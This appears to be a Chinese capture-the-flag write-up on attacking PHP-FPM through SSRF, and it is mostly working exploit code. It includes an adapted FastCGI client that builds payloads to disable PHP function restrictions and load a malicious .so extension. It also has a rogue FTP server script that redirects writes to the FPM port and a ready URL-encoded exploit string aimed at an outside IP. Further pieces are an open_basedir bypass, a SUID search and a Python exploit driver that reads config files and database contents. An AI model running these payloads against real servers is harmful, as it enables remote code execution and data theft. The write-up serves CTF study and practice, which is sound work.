const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
echo('data='.urlencode($request));
// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp['content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp);
// if (!is_array($resp)) {
// throw new Exception('Bad request');
// }
// switch (ord($resp['content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }
}
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
// die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
// $filepath = __FILE__;
//}else{
// $filepath = $_REQUEST['filepath'];
//}

$filepath = "/var/www/html/add_api.php"; // 目标主机已知的PHP文件的路径
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami'; // 啥也不是, 不用管
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // 啥也不是, 不用管
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = hpdoger.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; //加载hpdoger.so文件
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command=whoami',
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9001',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>


根据 fcgi_jailbreak.php 改编

ftp 利用

由于这里禁用了许多函数和类,像那些普通能构成 SSRF 的函数和类都无法使用,但是 FTP 协议未被禁用。

我们可以通过在 VPS 上搭建恶意的 FTP 服务器,骗取目标主机将 Payload 重定向到自己的 9001 端口上,从而实现攻击 PHP-FPM 并执行命令。

FTP(File Transfer Protocol)也支持主动模式和被动模式,这两种模式涉及到数据连接的建立方式。以下是主动模式和被动模式在 FTP 中的工作原理:

  1. 主动模式(Active Mode):
    • 客户端在命令连接上发送 PORT 命令告诉服务器它打开了一个端口(通常是一个随机端口)等待服务器连接。
    • 服务器在数据连接上连接到客户端指定的地址和端口,进行数据传输。
    • 主动模式需要客户端打开一个用于数据传输的端口,并告知服务器连接的地址,这可能导致防火墙问题,因为客户端端口的打开和服务器的连接需要穿透防火墙。
  2. 被动模式(Passive Mode):
    • 客户端在命令连接上发送 PASV 命令告诉服务器准备好接收数据连接。
    • 服务器打开一个用于数据传输的端口,并返回这个端口的信息给客户端。
    • 客户端连接到服务器返回的地址和端口,进行数据传输。
    • 被动模式相对于主动模式更容易穿越防火墙,因为数据连接是由客户端发起的。

说人话,主动模式客户端开两个端口,一个端口用于连接服务端 21 端口,告诉他服务器另一个端口,然后让服务端来连接.

被动模式同样一个端口连 21 端口,然后叫服务器别连回来,让服务器开个端口,然后客户端用另一个端口连接这个端口,获取数据.

倘若我们自己在 vps 搭个 fps 服务端,上传恶意数据,利用被动模式,服务端指定客户端使用 9000 端口 ( fpm服务端口 ) 读取我们上传的恶意数据,那么就实现了恶意攻击.

所以我们可以在我们 vps 上起个恶意的 ftp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 7777))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()


最终 exp

1
file_put_contents($_GET['file'],$_GET['data']);ftp://root@43.143.192.19:3307/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3B%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%AFPHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+exp.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

file_put_contents 支持 ftp 协议,让客户端连接到我们的 ftp, 然后开启被动模式,服务端指定客户端用 9001 端口读取数据,从而实现利用.

拿到 shell 后,SUID 提权

1
find / -perm -u=s -type f 2>/dev/null
1
php -a#进入交互模式
1
2
3
chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag');


题目的 fpm 怎么打

题目不出网,curl 的话高版本也不能用,好在还有个 fsockopen.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
fflush()
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>

大概利用就是如上所示.

由于写循环更为复杂,将 fgets 替换成 fread, 同样也是读取文件的函数.

优化一下

1
2
3
4
5
6
7
8
<?php
$fp = fsockopen("127.0.0.1","9000");
$out = base64_decode($fpm_data);
fwrite($fp,$out);
fflush($fp);
$contents = fread($fp,8);
var_dump(bin2hex($contents));
var_dump(file_get_contents('/tmp/flag.txt'));

具体就是要实现这么一个逻辑,只不过 fpmdata 涉及不可见字符,选择使用 base64 传递

ArrayObject 的妙用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$fpmdata = base64_decode('your_fpmdata');
$fsockopen = new Reflection('fsockopen');
$sock = $fsockopen->invokeArgs(["127.0.0.1", 9000]);
$arg_array = new ArrayObject(['']);
$arg_array->offsetUnset(0);
$arg_array->append($sock);
$arg_array->append($fpmdata);
$data = iterator_to_array($arg_array);
$fwrite = new Reflection('fwrite');
$fwrite->invokeArgs($data);
fflush($sock);

$arg_array_1 = new ArrayObject(['']);
$arg_array_1->offsetUnset(0);
$arg_array_1->append($sock);
$arg_array_1->append($length);//通过外面传进来,出题人exp设置为8
$data = iterator_to_array($arg_array_1);
$fread = new Reflection('fread');
$socks_read = $fread->invokeArgs($data);
$socks_read = bin2hex($socks_read);//将返回数据转成十六进制,防止奇怪的东西
var_dump($socks_read);
var_dump(file_get_contents('/tmp/flag.txt'));#写不写都行,反正重要的部分已经完成了


由于 fsockopen 在题目创建的对象,我们不能够直接传递给函数作为参数,那么我们只能通过 ArrayObject 方法,封装我们的对象.

Arrayobject 可以使用 append 方法添加元素,使用 offsetUnset 移除指定索引内容。同时使用 iterator_to_array 可以将 ArrayObject 对象转成数组.

这样就可以通过反射调用 fwrite , 使用数组传递参数.

1
2
3
4
CALL base64_decode fpm_data fpm_data

NEW ReflectionFunction fsockopen fsockopen
ICALL fsockopen invokeArgs fsockopen_args sock#fsockopen_args = ['127.0.0.1',"9000"]

首先反射调用 fsockopen, 返回一个 sock 对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
CALL base64_decode fpm_data fpm_data

NEW ReflectionFunction fsockopen fsockopen
ICALL fsockopen invokeArgs fsockopen_args sock

NEW ArrayObject arg_array arg_array
ICALL arg_array offsetUnset offset _
ICALL arg_array append sock _
ICALL arg_array append fpm_data _
CALL iterator_to_array arg_array data
NEW ReflectionFunction fwrite fwrite
ICALL fwrite invokeArgs data _

CALL fflush sock _

NEW ArrayObject arg_array_1 arg_array_1
ICALL arg_array_1 offsetUnset offset _
ICALL arg_array_1 append sock _
ICALL arg_array_1 append length _
CALL iterator_to_array arg_array_1 data
NEW ReflectionFunction fread fread
ICALL fread invokeArgs data socks_read

CALL bin2hex socks_read socks_read
CALL var_dump socks_read _

CALL file_get_contents file_arg r1
CALL var_dump r1 _

其实 fflush 后面的内容都可以不要,这里写出来可能就是为了看清回显,但其实 fwrite 就已经成功进行 SSRF 利用了,

fpm 生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
echo('data='.urlencode($request));
// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp['content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp);
// if (!is_array($resp)) {
// throw new Exception('Bad request');
// }
// switch (ord($resp['content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }
}
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
// die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
// $filepath = __FILE__;
//}else{
// $filepath = $_REQUEST['filepath'];
//}

$filepath = "/var/www/html/add_api.php"; //SCRIPT_FILENAME
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "extension = /tmp/exp.so";
$php_admin_value = "extension = /tmp/exp.so";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command=whoami',
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9000', //靶机fpm的监听端口
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => 0
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

同样的脚本,改改 extension 就行,其它参数关系不大.

1702201651915

完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
import requests
import inspect
import itertools

URL = "http://127.0.0.1:10800/"


def sql():
code = """
NEW ReflectionClass mysqli refClass
ICALL refClass newInstanceArgs mysqli_arg mysqli1
ICALL mysqli1 query query_arg result
ICALL result fetch_all res row
CALL var_dump row _
"""
code = inspect.cleandoc(code)

data = {
"mysqli": "mysqli",
"mysqli_arg": ["127.0.0.1", "web", "web", "web"],
"query_arg": "select * from f1ag",
"res":"1"
}
return code, data

def scandir():
code = """
CALL scandir a1 r1
CALL var_dump r1 r2
"""
code = inspect.cleandoc(code)

data = {
"a1": "/tmp",
}
return code, data


def readfile():
code = """
CALL file_get_contents a1 r1
CALL var_dump r1 r2
"""
code = inspect.cleandoc(code)

data = {
"a1": "/var/www/html/config.php",
}
return code, data


def writefile():
code = """
NEW ReflectionFunction a1 file_put_contents
ICALL file_put_contents invokeArgs a2 _
"""
code = inspect.cleandoc(code)

data = {
"a1": "file_put_contents",
"a2": ["/tmp/success.txt", "success"],
}
return code, data


def write_ext():
code = """
NEW ReflectionFunction file_put_contents file_put_contents
ICALL file_put_contents invokeArgs a2 _
"""
code = inspect.cleandoc(code)

ext = open("exp.so", "rb").read()
data = {
"file_put_contents": "file_put_contents",
"a2": ["/tmp/exp.so", ext],
}
return code, data


def fpm_attack():
code = """
CALL base64_decode fpm_data fpm_data

NEW ReflectionFunction fsockopen fsockopen
ICALL fsockopen invokeArgs fsockopen_args sock

NEW ArrayObject arg_array arg_array
ICALL arg_array offsetUnset offset _
ICALL arg_array append sock _
ICALL arg_array append fpm_data _
CALL iterator_to_array arg_array data
NEW ReflectionFunction fwrite fwrite
ICALL fwrite invokeArgs data _

CALL fflush sock _

NEW ArrayObject arg_array_1 arg_array_1
ICALL arg_array_1 offsetUnset offset _
ICALL arg_array_1 append sock _
ICALL arg_array_1 append length _
CALL iterator_to_array arg_array_1 data
NEW ReflectionFunction fread fread
ICALL fread invokeArgs data socks_read

CALL bin2hex socks_read socks_read
CALL var_dump socks_read _

CALL file_get_contents file_arg r1
CALL var_dump r1 _
"""
code = inspect.cleandoc(code)

data = {
